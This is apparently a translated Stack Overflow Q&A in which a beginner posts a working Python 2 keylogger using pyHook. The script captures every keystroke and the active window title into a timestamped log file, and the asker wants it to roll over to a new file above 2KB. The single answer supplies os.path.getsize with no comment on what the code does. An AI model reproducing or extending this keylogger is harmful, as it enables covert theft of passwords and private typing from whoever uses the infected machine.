2013-03-21 49 views
1

我想檢查我正在寫密鑰的文件是否超過2Kb。如果它超過2KB,那麼我需要製作另一個文件並停止在這個文件中寫入。我是python的開始人,請幫助我。請指出我可以在哪裏使用代碼來檢查文件是否大於2kb。在pyhook pumpmessages中使用自己的代碼

import win32api , win32console , win32gui , pythoncom , pyHook , sys, time ,os 
import datetime 
now = datetime.datetime.now() 
p = now.strftime("%Y-%m-%d %H-%M") 
temp_path = p 
fil = temp_path + '.txt' 
sys.stdout = open(fil,'w') 
lastWindow = None 
lastWindow=win32gui.GetWindowText (win32gui.GetForegroundWindow()) 
while True: 
    def OnKeyboardEvent(event): 
     global lastWindow 
     window = event.WindowName 
     key = chr(event.Ascii) 
     if window != lastWindow: 
      print window 
      lastWindow = window 
     print key 
    hm = pyHook.HookManager() 

    hm.KeyDown = OnKeyboardEvent 

    hm.HookKeyboard() 
    pythoncom.PumpMessages() 

希望你能幫助

回答

1

你可以使用.getsize

>>> import os 
>>> b = os.path.getsize("/path/isa_005.mp3") 
>>> b 
2071611L 
相關問題